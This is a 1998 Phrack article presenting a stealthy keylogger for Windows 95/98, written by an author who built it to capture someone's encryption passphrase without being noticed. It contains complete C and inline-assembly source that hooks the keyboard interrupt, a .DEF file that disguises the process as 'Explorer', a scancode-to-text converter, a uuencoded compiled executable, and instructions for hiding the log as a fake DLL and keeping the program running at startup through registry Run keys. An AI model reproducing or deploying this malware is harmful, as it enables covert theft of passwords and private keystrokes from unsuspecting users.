---[  Phrack Magazine   Volume 8, Issue 53 July 8, 1998, article 07 of 15


-------------------------[  A Stealthy Windows Keylogger


--------[  [email protected]


   I recently felt the need to acquire some data being typed into Windows95
machines on a small TCP-IP network.  I had occasional physical access to the
machines and I knew the remote administration password, but the files were
being saved in BestCryptNP volumes, the passphrase for which I didn't know...

   I searched the Net as best I could for a suitable keylogging program that
would allow me to capture the passphrase without being noticed, but all I
could find was I big boggy thing written in visual basic that insisted on
opening a window.  I decided to write my own.  I wanted to write it as a VXD
because they run at Privilege Level 0 and can do just about ANYTHING.  I soon
gave up on this idea because I couldn't acquire the correct tools and certainly
couldn't afford to buy them.

   While browsing through the computer section of my local public library one
day I noticed a rather thin book called "WINDOWS ASSEMBLY LANGUAGE and SYSTEMS
PROGRAMMING" by Barry Kauler, (ISBN 0 13 020207 X) c 1993.  A quick flick
through the Table of Contents revealed "Chapter 10: Real-Time Events, Enhanced
Mode Hardware Interrupts".  I immediately borrowed the book and photocopied
it (Sorry about the royalties Barry).  As I read chapter 10 I realized that
all I needed was a small 16 bit Windows program running as a normal user
process to capture every keystroke typed into windows.  The only caveat was
that keystrokes typed into DOS boxes wouldn't be captured.  Big deal.  I could
live without that.  I was stunned to discover that all user programs in Windows
share a single Interrupt Descriptor Table (IDT).  This implies that if one
user program patches a vector in the IDT, then all other programs are
immediately affected.

   The only tool I had for generating windows executables was Borland C Ver
2.0 which makes small and cute windows 3.0 EXE's, so that's what I used.  I
have tested it on Windows for Workgroups 3.11, Windows 95 OSR2, and Windows 98
beta 3.  It will probably work on Windows 3.x as well.

   As supplied, it will create a hidden file in the \WINDOWS\SYSTEM directory
called POWERX.DLL and record all keystrokes into it using the same encoding
scheme as Doc Cypher's KEYTRAP3.COM program for DOS.  This means that you can
use the same conversion program, CONVERT3.C, to convert the raw scancodes in
the log file to readable ASCII.  I have included a slightly "improved" version
of CONVERT3.C with a couple of bugs fixed.  I contemplated incorporating the
functionality of CONVERT3 into W95Klog, but decided that logging scancodes
was "safer" that logging plain ASCII.  If the log file is larger that 2
megabytes when the program starts, it will be deleted and re-created with
length zero.  When you press CTRL-ALT-DEL (in windows95/98) to look at the
Task List, W95Klog will show up as "Explorer".  You can change this by editing
the .DEF file and recompiling, or by HEX Editing the .EXE file.  If anyone
knows how to stop a user program from showing on this list please tell me.

   To cause the target machine to run W95Klog every time it starts Windows
you can:

 1) Edit win.ini, [windows] section to say run=WHLPFFS.EXE or some such
confusing name :)   Warning!  This will cause a nasty error message if
WHLPFFS.EXE can't be found.  This method has the advantage of being able to be
performed over the network via "remote administration" without the need for
both computers to be running "remote registry service".

 2) Edit the registry key: (Win95/98)
`HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run` and create
a new key called whatever you like with a string value of "WHLPFFS.EXE" or
whatever.  This is my preferred method because it is less likely to be stumbled
upon by the average user and windows continues without complaint if the
executable can't be found.  The log file can be retrieved via the network even
when it is still open for writing by the logging program.  This is very
convenient ;).


<++> EX/win95log/convert.c
//
// Convert v3.0
// Keytrap logfile converter.
// By dcypher <[email protected]>
// MSVC++1.52 (Or Borland C 1.01, 2.0 ...)
// Released: 8/8/95
//
// Scancodes above 185(0xB9) are converted to "<UK>", UnKnown.
//

#include <stdio.h>

#define MAXKEYS 256
#define WS 128

const char *keys[MAXKEYS];

void main(int argc,char *argv[])
{
     FILE *stream1;
     FILE *stream2;

       unsigned int Ldata,Nconvert=0,Yconvert=0;
       char logf_name[100],outf_name[100];

       //
       // HERE ARE THE KEY ASSIGNMENTS !!
       //
       // You can change them to anything you want.
       // If any of the key assignments are wrong, please let
       // me know. I havn't checked all of them, but it looks ok.
       //
       //   v--- Scancodes logged by the keytrap TSR
       //          v--- Converted to the string here

       keys[1]  = "<uk>";
       keys[2]  = "1";
       keys[3]  = "2";
       keys[4]  = "3";
       keys[5]  = "4";
       keys[6]  = "5";
       keys[7]  = "6";
       keys[8]  = "7";
       keys[9]  = "8";
       keys[10] = "9";
       keys[11] = "0";
       keys[12] = "-";
       keys[13] = "=";
       keys[14] = "<bsp>";
       keys[15] = "<tab>";
       keys[16] = "q";
       keys[17] = "w";
       keys[18] = "e";
       keys[19] = "r";
       keys[20] = "t";
       keys[21] = "y";
       keys[22] = "u";
       keys[23] = "i";
       keys[24] = "o";
       keys[25] = "p";
       keys[26] = "[";  /* = ^Z  Choke! */
       keys[27] = "]";
       keys[28] = "<ret>";
       keys[29] = "<ctrl>";
       keys[30] = "a";
       keys[31] = "s";
       keys[32] = "d";
       keys[33] = "f";
       keys[34] = "g";
       keys[35] = "h";
       keys[36] = "j";
       keys[37] = "k";
       keys[38] = "l";
       keys[39] = ";";
       keys[40] = "'";
       keys[41] = "`";
       keys[42] = "<LEFT SHIFT>"; // left shift - not logged by the tsr
       keys[43] = "\\";           //                    and not converted
       keys[44] = "z";
       keys[45] = "x";
       keys[46] = "c";
       keys[47] = "v";
       keys[48] = "b";
       keys[49] = "n";
       keys[50] = "m";
       keys[51] = ",";
       keys[52] = ".";
       keys[53] = "/";
       keys[54] = "<RIGHT SHIFT>"; // right shift - not logged by the tsr
       keys[55] = "*";             //             and not converted
       keys[56] = "<alt>";
       keys[57] = " ";

       // now show with shift key
       // the TSR adds 128 to the scancode to show shift/caps

       keys[1+WS]  = "[";  /* was "<unknown>" but now fixes ^Z problem */
       keys[2+WS]  = "!";
       keys[3+WS]  = "@";
       keys[4+WS]  = "#";
       keys[5+WS]  = "$";
       keys[6+WS]  = "%";
       keys[7+WS]  = "^";
       keys[8+WS]  = "&";
       keys[9+WS]  = "*";
       keys[10+WS] = "(";
       keys[11+WS] = ")";
       keys[12+WS] = "_";
       keys[13+WS] = "+";
       keys[14+WS] = "<shift+bsp>";
       keys[15+WS] = "<shift+tab>";
       keys[16+WS] = "Q";
       keys[17+WS] = "W";
       keys[18+WS] = "E";
       keys[19+WS] = "R";
       keys[20+WS] = "T";
       keys[21+WS] = "Y";
       keys[22+WS] = "U";
       keys[23+WS] = "I";
       keys[24+WS] = "O";
       keys[25+WS] = "P";
       keys[26+WS] = "{";
       keys[27+WS] = "}";
       keys[28+WS] = "<shift+ret>";
       keys[29+WS] = "<shift+ctrl>";
       keys[30+WS] = "A";
       keys[31+WS] = "S";
       keys[32+WS] = "D";
       keys[33+WS] = "F";
       keys[34+WS] = "G";
       keys[35+WS] = "H";
       keys[36+WS] = "J";
       keys[37+WS] = "K";
       keys[38+WS] = "L";
       keys[39+WS] = ":";
       keys[40+WS] = "\"";
       keys[41+WS] = "~";
       keys[42+WS] = "<LEFT SHIFT>"; // left shift - not logged by the tsr
       keys[43+WS] = "|";            //            and not converted
       keys[44+WS] = "Z";
       keys[45+WS] = "X";
       keys[46+WS] = "C";
       keys[47+WS] = "V";
       keys[48+WS] = "B";
       keys[49+WS] = "N";
       keys[50+WS] = "M";
       keys[51+WS] = "<";
       keys[52+WS] = ">";
       keys[53+WS] = "?";
       keys[54+WS] = "<RIGHT SHIFT>"; // right shift - not logged by the tsr
       keys[55+WS] = "<shift+*>";     //                       and not converted
       keys[56+WS] = "<shift+alt>";
       keys[57+WS] = " ";

       printf("\n");
       printf("Convert v3.0\n");
       // printf("Keytrap logfile converter.\n");
       // printf("By dcypher <[email protected]>\n\n");
       printf("Usage: CONVERT infile outfile\n");
       printf("\n");

       if (argc==3)
       {
               strcpy(logf_name,argv[1]);
               strcpy(outf_name,argv[2]);
       }

       else
       {
       printf("Enter infile name: ");
               scanf("%99s",&logf_name);
               printf("Enter outfile name: ");
               scanf("%99s",&outf_name);
               printf("\n");
       }

       stream1=fopen(logf_name,"rb");
       stream2=fopen(outf_name,"a+b");

       if (stream1==NULL || stream2==NULL)
       {
               if (stream1==NULL)
                       printf("Error opening: %s\n\a",logf_name);
               else
                       printf("Error opening: %s\n\a",outf_name);
       }

       else
       {
               fseek(stream1,0L,SEEK_SET);
               printf("Reading data from: %s\n",logf_name);
               printf("Appending information to..: %s\n",outf_name);

               while (feof(stream1)==0)
                       {
                               Ldata=fgetc(stream1);

                               if (Ldata>0
                               && Ldata<186)
                               {
                                       if (Ldata==28 || Ldata==28+WS)
                                       {
                                               fputs(keys[Ldata],stream2);
                                               fputc(0x0A,stream2);
                                               fputc(0x0D,stream2);
                                               Yconvert++;
                                       }
                                       else
                                               fputs(keys[Ldata],stream2);
                                               Yconvert++;
                               }
                               else
                               {
                                       fputs("<UK>",stream2);
                                       Nconvert++;
                               }

                       }
       }

     fflush(stream2);
       printf("\n\n");
       printf("Data converted....: %i\n",Yconvert);
       printf("Data not converted: %i\n",Nconvert);
       printf("\n");
       printf("Closeing  infile: %s\n",logf_name);
       printf("Closeing outfile: %s\n",outf_name);
     fclose(stream1);
       fclose(stream2);
}

<-->
<++> EX/win95log/W95Klog.c
/*
* W95Klog.C   Windows stealthy keylogging program
*/

/*
* This will ONLY compile with BORLANDC V2.0 small model.
* For other compilers you will have to change newint9()
* and who knows what else :)
*
* Captures ALL interesting keystrokes from WINDOWS applications
* but NOT from DOS boxes.
* Tested OK on WFW 3.11, Win95 OSR2 and Win98 Beta 3.
*/

#include <windows.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <dos.h>

//#define LOGFILE "~473C96.TMP" //Name of log file in WINDOWS\TEMP
#define LOGFILE "POWERX.DLL"    //Name of log file in WINDOWS\SYSTEM
#define LOGMAXSIZE 2097152      //Max size of log file (2Megs)

#define HIDDEN 2
#define SEEK_END 2

#define NEWVECT 018h       // "Unused" int that is used to call old
                          // int 9 keyboard routine.
                          // Was used for ROMBASIC on XT's
                          // Change it if you get a conflict with some
                          //  very odd program.  Try 0f9h.

/************* Global Variables in DATA SEGment ****************/

HWND                 hwnd;        // used by newint9()
unsigned int         offsetint;   // old int 9 offset
unsigned int         selectorint; // old int 9 selector
unsigned char        scancode;    // scan code from keyboard

//WndProc
char sLogPath[160];
int  hLogFile;
long lLogPos;
char sLogBuf[10];

//WinMain
char szAppName[]="Explorer";
MSG         msg;
WNDCLASS    wndclass;

/***************************************************************/

//
//__________________________
void interrupt newint9(void)  //This is the new int 9 (keyboard) code
                        // It is a hardware Interrupt Service Routine. (ISR)
{
scancode=inportb(0x60);
if((scancode<0x40)&&(scancode!=0x2a)) {
 if(peekb(0x0040, 0x0017)&0x40) { //if CAPSLOCK is active
   // Now we have to flip UPPER/lower state of A-Z only! 16-25,30-38,44-50
   if(((scancode>15)&&(scancode<26))||((scancode>29)&&(scancode<39))||
                      ((scancode>43)&&(scancode<51)))  //Phew!
     scancode^=128; //bit 7 indicates SHIFT state to CONVERT.C program
   }//if CAPSLOCK
 if(peekb(0x0040, 0x0017)&3)  //if any shift key is pressed...
   scancode^=128;   //bit 7 indicates SHIFT state to CONVERT.C program
 if(scancode==26)   //Nasty ^Z bug in convert program
   scancode=129;    //New code for "["

 //Unlike other Windows functions, an application may call PostMessage
 // at the hardwareinterrupt level. (Thankyou Micr$oft!)
 PostMessage(hwnd, WM_USER, scancode, 0L); //Send scancode to WndProc()
 }//if scancode in range

 asm {  //This is very compiler specific, & kinda ugly!
     pop bp
     pop di
     pop si
     pop ds
     pop es
     pop dx
     pop cx
     pop bx
     pop ax
     int NEWVECT       // Call the original int 9 Keyboard routine
     iret              // and return from interrupt
     }
}//end newint9


//This is the "callback" function that handles all messages to our "window"
//_____________________________________________________________________
long FAR PASCAL WndProc(HWND hwnd,WORD message,WORD wParam,LONG lParam)
 {

//asm int 3;         //For Soft-ice debugging
//asm int 18h;       //For Soft-ice debugging

 switch(message) {
   case WM_CREATE:  // hook the keyboard hardware interupt
     asm {
         pusha
         push es
         push ds
                          // Now get the old INT 9 vector and save it...
         mov al,9
         mov ah,35h       // into ES:BX
         int 21h
         push es
         pop ax
         mov offsetint,bx  // save old vector in data segment
         mov selectorint,ax //     /
         mov dx,OFFSET newint9  // This is an OFFSET in the CODE segment
         push cs
         pop ds            // New vector in DS:DX
         mov al,9
         mov ah,25h
         int 21h           // Set new int 9 vector
         pop ds            // get data seg for this program
         push ds
                           // now hook unused vector
                           //  to call old int 9 routine
         mov dx,offsetint
         mov ax,selectorint
         mov ds,ax
         mov ah,25h
         mov al,NEWVECT
         int 21h
                           // Installation now finished
         pop ds
         pop es
         popa
         } // end of asm

     //Get path to WINDOWS directory
     if(GetWindowsDirectory(sLogPath,150)==0) return 0;

     //Put LOGFILE on end of path
     strcat(sLogPath,"\\SYSTEM\\");
     strcat(sLogPath,LOGFILE);
     do {
       // See if LOGFILE exists
       hLogFile=_lopen(sLogPath,OF_READ);
       if(hLogFile==-1) { // We have to Create it
         hLogFile=_lcreat(sLogPath,HIDDEN);
         if(hLogFile==-1) return 0; //Die quietly if can't create LOGFILE
         }
       _lclose(hLogFile);

       // Now it exists and (hopefully) is hidden....
       hLogFile=_lopen(sLogPath,OF_READWRITE); //Open for business!
       if(hLogFile==-1) return 0; //Die quietly if can't open LOGFILE
       lLogPos=_llseek(hLogFile,0L,SEEK_END); //Seek to the end of the file
       if(lLogPos==-1) return 0; //Die quietly if can't seek to end
       if(lLogPos>LOGMAXSIZE) {  //Let's not fill the harddrive...
         _lclose(hLogFile);
         _chmod(sLogPath,1,0);
         if(unlink(sLogPath)) return 0; //delete or die
         }//if file too big
       } while(lLogPos>LOGMAXSIZE);
     break;

   case WM_USER:        // A scan code....
     *sLogBuf=(char)wParam;
     _write(hLogFile,sLogBuf,1);
     break;

   case WM_ENDSESSION:  // Is windows "restarting" ?
   case WM_DESTROY:     // Or are we being killed  ?
   asm{
       push    dx
       push    ds
       mov     dx,offsetint
       mov     ds,selectorint
       mov     ax,2509h
       int     21h           //point int 09 vector back to old
       pop     ds
       pop     dx
       }
     _lclose(hLogFile);
     PostQuitMessage(0);
     return(0);
   } //end switch

    //This handles all the messages that we don't want to know about
    return DefWindowProc(hwnd,message,wParam,lParam);
    }//end WndProc

/**********************************************************/
int PASCAL WinMain (HANDLE hInstance, HANDLE hPrevInstance,
                   LPSTR lpszCmdParam, int nCmdShow)
   {

   if (!hPrevInstance) {  //If there is no previous instance running...
     wndclass.style         = CS_HREDRAW | CS_VREDRAW;
     wndclass.lpfnWndProc   = WndProc; //function that handles messages
                                       // for this window class
     wndclass.cbClsExtra    = 0;
     wndclass.cbWndExtra    = 0;
     wndclass.hInstance     = hInstance;
     wndclass.hIcon         = NULL;
     wndclass.hCursor       = NULL;
     wndclass.hbrBackground = NULL;
     wndclass.lpszClassName = szAppName;

     RegisterClass (&wndclass);

     hwnd = CreateWindow(szAppName,   //Create a window
                 szAppName,           //window caption
                 WS_OVERLAPPEDWINDOW, //window style
                 CW_USEDEFAULT,       //initial x position
                 CW_USEDEFAULT,       //initial y position
                 CW_USEDEFAULT,       //initial x size
                 CW_USEDEFAULT,       //initial y size
                 NULL,                //parent window handle
                 NULL,                //Window Menu handle
                 hInstance,           //program instance handle
                 NULL);               //creation parameters

     //ShowWindow(hwnd,nCmdShow);     //We don't want  no
     //UpdateWindow(hwnd);            // stinking window!

     while (GetMessage(&msg,NULL,0,0)) {
       TranslateMessage(&msg);
       DispatchMessage(&msg);
       }
     }//if no previous instance of this program is running...
   return msg.wParam;  //Program terminates here after falling out
   } //End of WinMain        of the while() loop.
<-->
<++> EX/win95log/W95KLOG.DEF
;NAME is what shows in CTRL-ALT-DEL Task list... hmmmm
NAME           Explorer
DESCRIPTION    'Explorer'
EXETYPE        WINDOWS
CODE           PRELOAD FIXED
DATA           PRELOAD FIXED SHARED
HEAPSIZE       2048
STACKSIZE      8096
<-->
<++> EX/win95log/W95KLOG.EXE.uue
begin 600 W95KLOG.EXE
M35H"`08````$``\`__\``+@`````````0```````````````````````````
M````````````````````D````+H0``X?M`G-(;@!3,TAD)!4:&ES('!R;V=R
M86T@;75S="!B92!R=6X@=6YD97(@36EC<F]S;V9T(%=I;F1O=W,N#0HD````
M````````````3D4%"FT``@```````@,"```(H!\```$````"``(``@`,`$``
M4`!0`%P`8`#_```````)`````@@!``<``````P(`U05`#=4%!@`F`F$,)@((
M17AP;&]R97(````!``@```9+15).14P$55-%4@``"$5X<&QO<F5R````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M`````````````````````````````````````````````)K__P``"\!U`^G$
M`(P&%@")'AP`B38:`(D^&`")%AX`N/__4)K__P``,\`>![\"`;DF`BO/_/.J
M,\!0FO__``#_-A@`FO__```+P'4#Z8``M`#-&HD6(`")#B(`M##-(:,D`)K_
M_P``J0$`=`;'!A(`"`#WP@0`=`;'!A0``0",V([`O@(!OP(!Z$X`_S88`/\V
M&@#_-A8`_S8<`/\V'@#H(0-0Z-`#C-B.P+X"`;\"`>AG`/\6<@#_%G0`_Q9V
M`+C__U":__\``(I&`K1,S2&P_U#HH0.T3,TAM/^+UXO>.]]T%R:`/_]T#"8X
M9P%W!B:*9P&+TX/#!NOE.]=T&XO:)H`_`";&!_\&=`<F_U\"!^O')O]7`@?K
MP,.T`(O7B]X[WW07)H`__W0,)CAG`7(&)HIG`8O3@\,&Z^4[UW0;B]HF@#\`
M)L8'_P9T!R;_7P('Z\<F_U<"!^O`PU!345(&'E975;W__X[=B^RZ8`#LHC(!
M@#XR`4!S=X`^,@$J='"X0`".P";V!A<`0'0O@#XR`0]V!X`^,@$:<AR`/C(!
M'78'@#XR`2=R#H`^,@$K=@R`/C(!,W,%@#8R`8"X0`".P";V!A<``W0%@#8R
M`8"`/C(!&G4%Q@8R`8'_-A0!:``$H#(!M`!0:@!J`)K__P``75]>'P=:65M8
MS1C/75]>'P=:65M8SXS8D$55B^P>CMA6BW8,B\8]%@!U`^EE`7<0/0$`=!8]
M`@!U`^E6`>EZ`3T`!'4#Z30!Z6\!8`8>L`FT-<TA!EB)'C`!H^0!NO__#A^P
M";0ES2$?'HL6,`&AY`&.V+0EL!C-(1\'81YH1`%HE@":__\```O`=0<STC/`
MZ3D!:%T`:$0!Z+("@\0$:&8`:$0!Z*8"@\0$'FA$`6H`FO__``"C.`&#/C@!
M_W4<'FA$`6H"FO__``"C.`&#/C@!_W4',](SP.GP`/\V.`&:__\``!YH1`%J
M`IK__P``HS@!@SXX`?]U!S/2,\#IRP#_-C@!:@!J`&H"FO__``")%C8!HS0!
M@SXV`?]U#H,^-`'_=0<STC/`Z:``@SXV`2!\,7\'@SXT`0!V*/\V.`&:__\`
M`&H`:@%H1`'H?@&#Q`9H1`'H+P)$1`O`=`8STC/`ZVB#/C8!('X#Z3W_=4J#
M/C0!`'8#Z3'_ZSZ*1@JB.@%J`6@Z`?\V.`'H#P*#Q`;K)U(>BQ8P`8X>Y`&X
M"27-(1]:_S8X`9K__P``:@":__\``#/2,\#K$O]V#E;_=@K_=@C_=@::__\`
M`%X?74W*"@!5B^Q6BW8,@WX*`'0#Z98`QP86`0,`C`X:`<<&&`'__\<&'`$`
M`,<&'@$``(DV(`''!B(!``#'!B0!``#'!B8!``",'BX!QP8L`50`'F@6`9K_
M_P``'FA4`!YH5`!HSP!J`&@`@&@`@&@`@&@`@&H`:@!6:@!J`)K__P``HQ0!
MZQ(>:`(!FO__```>:`(!FO__```>:`(!:@!J`&H`FO__```+P'7;H08!7EW"
M"@!5B^Q=PU6+[.L*BQYX`-'C_Y?F`:%X`/\.>``+P'7K_W8$Z!#\65W#58OL
M@SYX`"!U!;@!`.L3BQYX`-'CBT8$B8?F`?\&>``SP%W#58OLBTX(M$.*1@:+
M5@3-(7(#D>L$4.@"`%W#58OL5HMV!`OV?!6#_EA^`[Y7`(DVH@"*A*0`F(OP
MZQ&+QO?8B_"#_B-_Y<<&H@#__XDV$`"X__]>7<("`%6+[(M>!-'C@:=Z`/_]
MM$**1@J+7@2+3@B+5@;-(7("ZP50Z)W_F5W#58OL5E?\BWX$'@>+US+`N?__
M\JZ-=?^+?@:Y___RKO?1*_F']_?&`0!T`J1)T>GSI7,!I))?7EW#58OLM$&+
M5@3-(7($,\#K!%#H3?]=PU6+[(M>!-'C]X=Z```(=!.X`@!0,\`STE!2_W8$
MZ&C_@\0(M$"+7@2+3@B+5@;-(7(/4(M>!-'C@8]Z```06.L$4.@&_UW#&0`#
M`0$``0!;``,!)0`!`!<``P$\``$`'@`#`44``@`%``,!9``!`(0``P'%``$`
M&``#`6($`@!L``,!4P0"`'(``P%*!`(`<0`#`3P$`@`I``,!%00"`#D`!0#B
M`P$`!P(#`;D#`@!K``,!H0,"``8``P&:`P$`40`#`3(#`0!1``,!_0(!`%0`
M`P'=`@$`50`#`=("`0!1``,!N`(!`%,``P&C`@$`50`#`74"`0"&``4`3P(!
M`%P!`P'M`0(`;@`"`&8!`@!4````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````#"X`17AP;&]R97(`7%-94U1%35P`4$]715)8+D1,3```<@1R!'($```!
M(`(@`B`$H`*@________________________________________````$P("
M!`4&"`@(%!4%$_\6!1$"_________________P4%____________________
M_P__(P+_#_____\3__\"`@4/`O___Q/__________R/_____(_\3_P``````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
!````
`
end
<-->

----[  EOF